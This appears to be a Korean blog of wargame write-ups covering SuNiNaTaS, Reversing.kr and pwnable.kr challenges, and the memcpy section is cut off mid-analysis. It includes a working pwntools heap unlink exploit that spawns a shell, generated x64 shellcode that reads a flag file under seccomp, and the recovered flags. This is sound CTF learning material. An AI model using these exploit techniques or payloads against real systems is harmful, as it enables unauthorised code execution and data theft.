반응형
반응형
반응형

SuNiNaTaS의 1번문제 풀이입니다. 


[WEB]




문자열을 입력받는 폼이 있고, 아래에 코드가 있습니다.


코드를 보면, 입력받은 문자열을 처리하는 코드인 것 같습니다.


마지막에 결과가 admin이 되어야 authkey를 얻을 수 있나 봅니다.




        result = Replace(str,"a","aad")
        result = Replace(result,"i","in")
        result1 = Mid(result,2,2)
        result2 = Mid(result,4,6)
        result = result1 & result2


이것이 이제 핵심적인 코드라고 할 수 있는데요.


사용된 함수는 Replace()와 Mid() 두개 뿐입니다.


Replace(str, "a", "b")함수는 str의 "a"를 "b"로 치환해 주며, Mid(str, 1, 2)함수는 str의 1번째부터 2개의 문자를 가져옵니다.


.

.

.

그럼 이제 직접 풀어보세요!

.

.

.


.

.

.




위에서부터 하나씩 보면, a를 aad로 바꾸고, i를 in으로 바꾼 문자열에서

2번째부터 2개를 result1에, 4번째부터 6개를 result2에 저장하고

result1+result2가 admin이 되면 됩니다.


그럼 result1이 ad 가 되고 result2가 min이 되어야 하네요.


a가 aad가 되고 거기서 두번째부터 두개를 가져오면 ad가 됩니다.



result2를 생각해보면, 4번째부터 6개를 가져온게 min이 되어야 하고

in은 i가 바뀐 것이니


답은 ami 이네요.




이 문제는 직접 생각하면서 푸는게 이해가 제일 빠를 것 같습니다.



반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [WEB 6번] 풀이  (0) 2018.07.31
SuNiNaTaS [WEB 5번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 4번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 3번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 2번] 풀이  (0) 2018.07.30
반응형

Reversing.kr Easy Keygen 풀이



압축파일로 주어진다. 압축을 풀자.


압축을 풀면 두개의 파일이 나온다.


- Easy Keygen.exe

- ReadMe.txt



ReadMe.txt 의 내용이다.


ReversingKr KeygenMe



Find the Name when the Serial is 5B134977135E7D13



Easy Keygen.exe 을 실행하면 콘솔창이 띄워지고 Name을 입력받고 Serial을 입력받는다.



패킹은 되어 있지 않으니 올리디버거로 까보자.




strings를 확인해보니 "Correct!"와 "Wrong"이 보인다. 해당 부분으로 이동해주었다.





바로 위 분기점에 bp를 걸었다.



더 위로 올라가면 Serial을 입력받는 부분이 나온다. 입력 받고 난 후에 bp를 또 걸어주었다.


실행하고 name에 1234를, Serial에는 5678을 넣어주었다.




EAX에 5678이 들어갔고 ESI에 21120324가 들어갔다.

ECX에 들어간 값이 name의 값을 어떻게 연산해서 만들어진 값으로 추정된다.


그리고 두개의 값을 비교한다.



그렇다면 name의 값을 연산시켜 나온 값이 Serial의 값과 같아야된다는 것을 알 수 있다.


name을 입력받고 난 후의 코드를 보면 name의 값을 연산하는 루틴이 보인다.



name값에서 한바이트씩 가져와 0x10, 0x20, 0x30과 xor연산을 한다.

0번째 바이트는 0x10과,

1번째 바이트는 0x20과,

2번째 바이트는 0x30과,

3번째 바이트는 0x10과 ....


1234를 입력했을 떼 21120324가 나왔다. Serial 값으로 21120324를 넣으니 Correct가 출력된다.





그럼 이제 Serial이 5B134977135E7D13일때 name의 값을 구하면 된다.


name xor {0x10, 0x20, 0x30} = Serial 일때

name = {0x10, 0x20, 0x30} xor Serial 이므로 name의 값을 구할 수 있다.



이렇게 구한 name의 값은 K3yg3nm3이다.







반응형

'WAR GAME > Reversing.kr' 카테고리의 다른 글

Reversing.kr [Music Player] 풀이  (0) 2018.11.03
Reversing.kr [Easy Unpack] 풀이  (0) 2018.09.19
Reversing.kr [Easy Crack] 풀이  (0) 2018.06.19
반응형

Reversing.kr Easy Crack 풀이


Easy_CrackMe.exe 라는 파일이 하나 주어진다.

실행해 보면 창이 하나 뜬다.






Exeinfo로 까보았다.



별거 없다. 올리디버거로 까보면 될 것 같다.

올리디버거를 실행하자.








우클릭 > search for > all reference strings 에 들어가보았다.



여러개의 문자열들이 보인다. 이중에서 성공메세지로 추정되는 문자열을 더블클릭해주어 문자열이 사용되는 위치로 이동했다.





성공메세지를 출력하는 부분으로 보인다. 더 위로 올라가보았다.




'5y', 'R3versing' 이 문자열들과 입력값을 비교하는 것으로 추정된다.

해당 부분과 위에있는 분기점에서 바로 위에 비교구문에 breakpoint (F2)를 걸어주었다.


그리고 실행하여 1234를 넣어보았다.




첫번째 bp다. a와 [LOCAL.24+1]의 값을 비교하는데, [LOCAL.24+1]의 값은 2이다.

그렇다면 [LOCAL.24]에 우리가 입력해준 값이 들어갔을 것이다.


1234에서 2자리에 a를 넣고 길이를 늘려 1a234567890으로 다시 시도해보았다.





a와 우리가 입력한 a를 비교하면서 해당 분기를 통과한다.



그 다음분기는 조건에 맞지 않아 통과하지 못했다.





이번 분기는 '5y'와 비교한다.

a 다음자리에 5y를 넣은 1a5y2345678을 넣어 해당 분기를 통과했다.






그 다음분기는 R과 우리가 입력한 값중 하나인 2를 비교한다.

그렇다면 다음은 R3versing이 오면 된다는 것이다.


1a5yR3versing을 입력해주었다.





4010DA부터 4010FC의 동작을 잘 살펴보면 이렇다:

R3versing과 우리가 입력했던 문자열중 5번째 자리부터의 문자열을 각각 EAX와 ESI에 저장하고

EAX와 ESI에서 각각 한바이트씩 가져와 DL과 BL에 저장하고 DL과 BL을 비교한다.

비교했을 때 값이 같지 않다면 실패부분으로 이동한다.



잘 입력했다면 해당 분기는 통과한다. 그러나 출력되는 메세지는 실패였다.

원인을 알아보기 위해 실패부분으로 이동하는 부분을 찾아 보았다.




실패 부분으로 이동하기 전에 비교를 한번 더 했다.

E와 1을 비교한다. 여기서 1은 우리가 입력했던 값이므로 1을 E로 바꾸어 시도해주었다.






 성공했다



반응형

'WAR GAME > Reversing.kr' 카테고리의 다른 글

Reversing.kr [Music Player] 풀이  (0) 2018.11.03
Reversing.kr [Easy Unpack] 풀이  (0) 2018.09.19
Reversing.kr [Easy Keygen] 풀이  (0) 2018.06.19
반응형

unlink - 10 pt

Daddy! how can I exploit unlink corruption?


ssh unlink@pwnable.kr -p2222 (pw: guest)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;
 
void shell(){
    system("/bin/sh");
}
 
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
 
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
 
    printf("here is stack address leak: %p\n"&A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
 
    // exploit this unlink!
    unlink(B);
    return 0;
}
 
cs



(gdb) b *main+195

Breakpoint 1 at 0x80485f2

(gdb) r

Starting program: /home/unlink/unlink 

here is stack address leak: 0xffd18214

here is heap address leak: 0x94c2410

now that you have leaks, get shell!

AAAA


Breakpoint 1, 0x080485f2 in main ()

(gdb) x/16wx 0x94c2410

0x94c2410: 0x094c2428 0x00000000 0x41414141 0x00000000

0x94c2420: 0x00000000 0x00000019 0x094c2440 0x094c2410

0x94c2430: 0x00000000 0x00000000 0x00000000 0x00000019

0x94c2440: 0x00000000 0x094c2428 0x00000000 0x00000000


unlink()를 하기 전의 힙 구조입니다.


A의 fd -> B


B의 fd -> C , B의 bk -> A


C의 bk -> B


A <-> B <-> C 이러한 구조를 가지고 있다. gets()로 입력을 받기 때문에, B의 fd, bk 주소를 덮어 쓸 수 있다.



(gdb) x/16wx 0x94c2410

0x94c2410: 0x094c2440 0x00000000 0x41414141 0x00000000

0x94c2420: 0x00000000 0x00000019 0x094c2440 0x094c2410

0x94c2430: 0x00000000 0x00000000 0x00000000 0x00000019

0x94c2440: 0x00000000 0x094c2410 0x00000000 0x00000000


unlink(B) 가 실행되면, A <-> C가 된다.



(gdb) disas unlink

Dump of assembler code for function unlink:

   0x08048504 <+0>: push   ebp

   0x08048505 <+1>: mov    ebp,esp

   0x08048507 <+3>: sub    esp,0x10

   0x0804850a <+6>: mov    eax,DWORD PTR [ebp+0x8]

   0x0804850d <+9>: mov    eax,DWORD PTR [eax+0x4]

   0x08048510 <+12>: mov    DWORD PTR [ebp-0x4],eax

   0x08048513 <+15>: mov    eax,DWORD PTR [ebp+0x8]

   0x08048516 <+18>: mov    eax,DWORD PTR [eax]

   0x08048518 <+20>: mov    DWORD PTR [ebp-0x8],eax

   0x0804851b <+23>: mov    eax,DWORD PTR [ebp-0x8]

   0x0804851e <+26>: mov    edx,DWORD PTR [ebp-0x4]

   0x08048521 <+29>: mov    DWORD PTR [eax+0x4],edx

   0x08048524 <+32>: mov    eax,DWORD PTR [ebp-0x4]

   0x08048527 <+35>: mov    edx,DWORD PTR [ebp-0x8]

   0x0804852a <+38>: mov    DWORD PTR [eax],edx

   0x0804852c <+40>: nop

   0x0804852d <+41>: leave  

   0x0804852e <+42>: ret    


mov [B의 fd + 0x4], B의 bk
mov [B의 bk], B의 fd

이를 이용해서 esp주소에 shell()을 넣고 싶었는데, 반대로도 shell()+0x4에 esp주소가 들어가서 이렇게는 못푼다.


main의 에필로그를 보면,

   0x080485f2 <+195>: call   0x8048504 <unlink>
   0x080485f7 <+200>: add    esp,0x10
   0x080485fa <+203>: mov    eax,0x0
   0x080485ff <+208>: mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>: leave  
   0x08048603 <+212>: lea    esp,[ecx-0x4]
   0x08048606 <+215>: ret


((ebp-0x4에 있는 값) - 0x4)을 ret한다.

shell()의 주소를 ret하도록 해야한다.


shell()의 주소를 heap A에 입력할 것이다.


그럼 esp가 heap address + 8이 되어야 하고

ecx는 heap address +12 이어야 하고

이 값이 [ebp-0x4]에 있어야 한다.


[ebp-0x4]에 heap address +12가 들어가도록 하면 된다.


(gdb) disas shell

Dump of assembler code for function shell:

   0x080484eb <+0>: push   ebp

   0x080484ec <+1>: mov    ebp,esp


here is stack address leak: 0xffba0d44
here is heap address leak: 0x9ab4410
now that you have leaks, get shell!
SSSSAAAAAAAAAAAAsssseeee

Program received signal SIGSEGV, Segmentation fault.
0x08048521 in unlink ()
(gdb) x/16wx 0x9ab4410
0x9ab4410: 0x09ab4428 0x00000000 0x53535353 0x41414141
0x9ab4420: 0x41414141 0x41414141 0x73737373 0x65656565
0x9ab4430: 0x00000000 0x00000000 0x00000000 0x00000019
0x9ab4440: 0x00000000 0x09ab4428 0x00000000 0x00000000

SSSS shell()주소
ssss heap+12
eeee ebp-4
가 들어가도록 익스를 짜주면 된다.

stack address에서 ebp의 거리를 구해보자

(gdb) b *main+208
Breakpoint 1 at 0x80485ff
(gdb) r
Starting program: /home/unlink/unlink 
here is stack address leak: 0xffcdfea4
here is heap address leak: 0x8dbd410
now that you have leaks, get shell!
aaaa

Breakpoint 1, 0x080485ff in main ()
(gdb) i r $ebp
ebp            0xffcdfeb8 0xffcdfeb8
(gdb) p 0xffcdfeb8 - 0xffcdfea4
$1 = 20

이제 익스하자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
= ssh(user='unlink',host='pwnable.kr',port=2222,password='guest')
= s.process("./unlink")
 
p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recvline().strip(),16)
ebp = stack_addr+20
 
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recvline().strip(),16)
log.info("stack : "+hex(stack_addr))
log.info("heap  : "+hex(heap_addr))
p.recvline()
shell = 0x80484eb
 
payload = p32(shell)
payload += "A"*12
payload += p32(heap_addr+12)
payload += p32(ebp-4)
 
p.sendline(payload)
 
p.interactive()
cs



mandu@mandu-VirtualBox:~/ex_pwn$ python local_remote.py 

[+] Connecting to pwnable.kr on port 2222: Done

[*] unlink@pwnable.kr:

    Distro    Ubuntu 16.04

    OS:       linux

    Arch:     amd64

    Version:  4.10.0

    ASLR:     Enabled

[+] Starting remote process './unlink' on pwnable.kr: pid 11044

[*] stack : 0xffdf08b4

[*] heap  : 0x98a0410

[*] Switching to interactive mode

$ $ cat flag

conditional_write_what_where_from_unl1nk_explo1t


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [horcruxes] 풀이  (0) 2019.02.25
pwnable.kr [blukat] 풀이  (0) 2019.02.24
pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
반응형

asm - 6 pt

Mommy! I think I know how to make shellcodes


ssh asm@pwnable.kr -p2222 (pw: guest)



asm@ubuntu:~$ ls -l

total 28

-rwxr-xr-x 1 root root 13704 Nov 29  2016 asm

-rw-r--r-- 1 root root  1793 Nov 29  2016 asm.c

-rw-r--r-- 1 root root   211 Nov 19  2016 readme

-rw-r--r-- 1 root root    67 Nov 19  2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

asm@ubuntu:~$ cat readme 

once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.

make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

asm@ubuntu:~$ cat asm.c



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
 
#define LENGTH 128
 
void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }
 
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
 
    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}
 
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");
 
    char* sh = (char*)mmap(0x414140000x10007, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 00);
    memset(sh, 0x900x1000);
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);
 
    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}
 
cs



asm@ubuntu:~$ nc 0 9026

Welcome to shellcoding practice challenge.

In this challenge, you can run your x64 shellcode under SECCOMP sandbox.

Try to make shellcode that spits flag using open()/read()/write() systemcalls only.

If this does not challenge you. you should play 'asg' challenge :)

give me your x64 shellcode: 



실행을 해보면 x64 쉘코드를 달라고 한다. 시스템콜[open(), read(), write()]만을 사용한 쉘코드로 flag를 알아내는 문제다.


쉘코드는 python으로 pwntools의 shellcraft를 이용하면 쉘코드를 쉽게 만들 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
 
context(arch='amd64', os='linux')
 
payload = ""
payload += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
payload += shellcraft.open('rsp'00)
payload += shellcraft.read('rax''rsp'100)
payload += shellcraft.write(1'rsp'100)
 
print asm(payload).encode('hex')
cs


mandu@mandu-VirtualBox:~/prog_py$ python pwnable_asm.py 

48b801010101010101015048b86e316e316e6f66014831042448b86f306f306f306f305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b830303030306f6f6f5048b830303030303030305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b8735f766572795f6c5048b8655f6e616d655f695048b85f7468655f66696c5048b86c652e736f7272795048b85f746869735f66695048b86173655f726561645048b866696c655f706c655048b86b725f666c61675f5048b870776e61626c652e5048b8746869735f69735f504889e731d231f66a02580f054889c731c06a645a4889e60f056a015f6a645a4889e66a01580f05



asm@ubuntu:~$ (python -c 'print "48b801010101010101015048b86e316e316e6f66014831042448b86f306f306f306f305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b830303030306f6f6f5048b830303030303030305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b8735f766572795f6c5048b8655f6e616d655f695048b85f7468655f66696c5048b86c652e736f7272795048b85f746869735f66695048b86173655f726561645048b866696c655f706c655048b86b725f666c61675f5048b870776e61626c652e5048b8746869735f69735f504889e731d231f66a02580f054889c731c06a645a4889e60f056a015f6a645a4889e66a01580f05".decode("hex")') | nc 0 9026

Welcome to shellcoding practice challenge.

In this challenge, you can run your x64 shellcode under SECCOMP sandbox.

Try to make shellcode that spits flag using open()/read()/write() systemcalls only.

If this does not challenge you. you should play 'asg' challenge :)

give me your x64 shellcode: Mak1ng_shelLcodE_i5_veRy_eaSy

lease_read_this_file.sorry_the_file_name_is_very_looooooooooooooooooooasm@ubuntu:~$ 




FLAG : Mak1ng_shelLcodE_i5_veRy_eaSy


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [blukat] 풀이  (0) 2019.02.24
pwnable.kr [unlink] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
반응형

memcpy - 10 pt

Are you tired of hacking?, take some rest here.

Just help me out with my small experiment regarding memcpy performance. 

after that, flag is yours.


http://pwnable.kr/bin/memcpy.c


ssh memcpy@pwnable.kr -p2222 (pw:guest)




memcpy@ubuntu:~$ ls -l

total 8

-rw-r--r-- 1 root root 3172 Mar  4  2016 memcpy.c

-rw-r--r-- 1 root root  192 Mar 10  2016 readme

memcpy@ubuntu:~$ cat readme 

the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.

execute the binary by connecting to daemon(nc 0 9022).


memcpy@ubuntu:~$ cat memcpy.c 



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>
 
unsigned long long rdtsc(){
        asm("rdtsc");
}
 
char* slow_memcpy(char* dest, const char* src, size_t len){
    int i;
    for (i=0; i<len; i++) {
        dest[i] = src[i];
    }
    return dest;
}
 
char* fast_memcpy(char* dest, const char* src, size_t len){
    size_t i;
    // 64-byte block fast copy
    if(len >= 64){
        i = len / 64;
        len &= (64-1);
        while(i-- > 0){
            __asm__ __volatile__ (
            "movdqa (%0), %%xmm0\n"
            "movdqa 16(%0), %%xmm1\n"
            "movdqa 32(%0), %%xmm2\n"
            "movdqa 48(%0), %%xmm3\n"
            "movntps %%xmm0, (%1)\n"
            "movntps %%xmm1, 16(%1)\n"
            "movntps %%xmm2, 32(%1)\n"
            "movntps %%xmm3, 48(%1)\n"
            ::"r"(src),"r"(dest):"memory");
            dest += 64;
            src += 64;
        }
    }
 
    // byte-to-byte slow copy
    if(len) slow_memcpy(dest, src, len);
    return dest;
}
 
int main(void){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Hey, I have a boring assignment for CS class.. :(\n");
    printf("The assignment is simple.\n");
 
    printf("-----------------------------------------------------\n");
    printf("- What is the best implementation of memcpy?        -\n");
    printf("- 1. implement your own slow/fast version of memcpy -\n");
    printf("- 2. compare them with various size of data         -\n");
    printf("- 3. conclude your experiment and submit report     -\n");
    printf("-----------------------------------------------------\n");
 
    printf("This time, just help me out with my experiment and get flag\n");
    printf("No fancy hacking, I promise :D\n");
 
    unsigned long long t1, t2;
    int e;
    char* src;
    char* dest;
    unsigned int low, high;
    unsigned int size;
    // allocate memory
    char* cache1 = mmap(00x40007, MAP_PRIVATE|MAP_ANONYMOUS, -10);
    char* cache2 = mmap(00x40007, MAP_PRIVATE|MAP_ANONYMOUS, -10);
    src = mmap(00x20007, MAP_PRIVATE|MAP_ANONYMOUS, -10);
 
    size_t sizes[10];
    int i=0;
 
    // setup experiment parameters
    for(e=4; e<14; e++){    // 2^13 = 8K
        low = pow(2,e-1);
        high = pow(2,e);
        printf("specify the memcpy amount between %d ~ %d : ", low, high);
        scanf("%d"&size);
        ifsize < low || size > high ){
            printf("don't mess with the experiment.\n");
            exit(0);
        }
        sizes[i++= size;
    }
 
    sleep(1);
    printf("ok, lets run the experiment with your configuration\n");
    sleep(1);
 
    // run experiment
    for(i=0; i<10; i++){
        size = sizes[i];
        printf("experiment %d : memcpy with buffer size %d\n", i+1size);
        dest = mallocsize );
 
        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        slow_memcpy(dest, src, size);        // byte-to-byte memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
 
        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        fast_memcpy(dest, src, size);        // block-to-block memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
        printf("\n");
    }
 
    printf("thanks for helping my experiment!\n");
    printf("flag : ----- erased in this source code -----\n");
    return 0;
}
 
cs




memcpy@ubuntu:~$ nc 0 9022

Hey, I have a boring assignment for CS class.. :(

The assignment is simple.

-----------------------------------------------------

- What is the best implementation of memcpy?        -

- 1. implement your own slow/fast version of memcpy -

- 2. compare them with various size of data         -

- 3. conclude your experiment and submit report     -

-----------------------------------------------------

This time, just help me out with my experiment and get flag

No fancy hacking, I promise :D

specify the memcpy amount between 8 ~ 16 : 8

specify the memcpy amount between 16 ~ 32 : 16

specify the memcpy amount between 32 ~ 64 : 32

specify the memcpy amount between 64 ~ 128 : 64

specify the memcpy amount between 128 ~ 256 : 128

specify the memcpy amount between 256 ~ 512 : 256

specify the memcpy amount between 512 ~ 1024 : 512

specify the memcpy amount between 1024 ~ 2048 : 1024

specify the memcpy amount between 2048 ~ 4096 : 2048

specify the memcpy amount between 4096 ~ 8192 : 4096

ok, lets run the experiment with your configuration

experiment 1 : memcpy with buffer size 8

ellapsed CPU cycles for slow_memcpy : 1371

ellapsed CPU cycles for fast_memcpy : 474


experiment 2 : memcpy with buffer size 16

ellapsed CPU cycles for slow_memcpy : 333

ellapsed CPU cycles for fast_memcpy : 414


experiment 3 : memcpy with buffer size 32

ellapsed CPU cycles for slow_memcpy : 504

ellapsed CPU cycles for fast_memcpy : 621


experiment 4 : memcpy with buffer size 64

ellapsed CPU cycles for slow_memcpy : 930

ellapsed CPU cycles for fast_memcpy : 126


experiment 5 : memcpy with buffer size 128

ellapsed CPU cycles for slow_memcpy : 1788





8~16, 16~32 ... 이런식으로 총 10번 해당 범위 사이의 정수값을 입력 받는다.


그러고 나면 slow_memcpy와 fast_memcpy를 하는 것 같다.

위의 시도에서는 experiment5에서 fast_memcpy구간에서 오류가 생겨 끊긴 것 같다.


어떻게 해서든 위 구간을 모두 통가하면 FLAG를 얻을 수 있는 것 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    // run experiment
    for(i=0; i<10; i++){
        size = sizes[i];
        printf("experiment %d : memcpy with buffer size %d\n", i+1size);
        dest = mallocsize );
 
        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        slow_memcpy(dest, src, size);        // byte-to-byte memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
 
        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        fast_memcpy(dest, src, size);        // block-to-block memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
        printf("\n");
    }
 
    printf("thanks for helping my experiment!\n");
    printf("flag : ----- erased in this source code -----\n");
    return 0;
}
 
cs



입력받은 횟수만큼 10번을 진행한다.

우리가 정해준 사이즈 만큼 malloc을 한다(=dest).

memcpy(cache1, cache2, 0x4000); 은 '캐시효과 제거를 위함'이라고 되어있다.


rdtsc()는 정확한 시간을 측정하는 함수라고 한다.

그러면 slow_memcpy()를 진행한 시간을 구하는 용로도 파악된다.


slow_memcpy()와  fast_memcpy()의 주석을 보면 slow 는 바이트 하나하나 복사를 진행하는 것이고 fast는 블록단위로 복사를진행하는 것으로 보인다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
char* slow_memcpy(char* dest, const char* src, size_t len){
    int i;
    for (i=0; i<len; i++) {
        dest[i] = src[i];
    }
    return dest;
}
 
char* fast_memcpy(char* dest, const char* src, size_t len){
    size_t i;
    // 64-byte block fast copy
    if(len >= 64){
        i = len / 64;
        len &= (64-1);
        while(i-- > 0){
            __asm__ __volatile__ (
            "movdqa (%0), %%xmm0\n"
            "movdqa 16(%0), %%xmm1\n"
            "movdqa 32(%0), %%xmm2\n"
            "movdqa 48(%0), %%xmm3\n"
            "movntps %%xmm0, (%1)\n"
            "movntps %%xmm1, 16(%1)\n"
            "movntps %%xmm2, 32(%1)\n"
            "movntps %%xmm3, 48(%1)\n"
            ::"r"(src),"r"(dest):"memory");
            dest += 64;
            src += 64;
        }
    }
 
    // byte-to-byte slow copy
    if(len) slow_memcpy(dest, src, len);
    return dest;
}
 
cs


소스를 보면 역시나 slow_memcpy()는 src에서 dest로 바이트 하나하나 복사한다.


 그러나 fast_memcpy()를 보면 사이즈가 64바이트 미만인 경우에만 slow_memcpy를 실행하고 사이즈가 64바이트 이상인 경우 어셈블리어로 이루어진 코드를 실행한다. 또한 64바이트 단위로 해당 어셈코드를 실행한후 나머지 바이트에 대해서도 slow_memcpy를 진행한다.



위에서 시도해보았을 때 experiment 5에서 fast_memcpy()를 실행하다가 끊겼으므로 어셈으로 이루어진 코드에서 오류가 생겼을 가능성이 높다.


어셈코드를 분석해 보자.


1
2
3
4
5
6
7
8
9
10
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
cs


movdqa와 movntps가 사용되었다.


movdqa : (구글번역기를 돌렸다...)


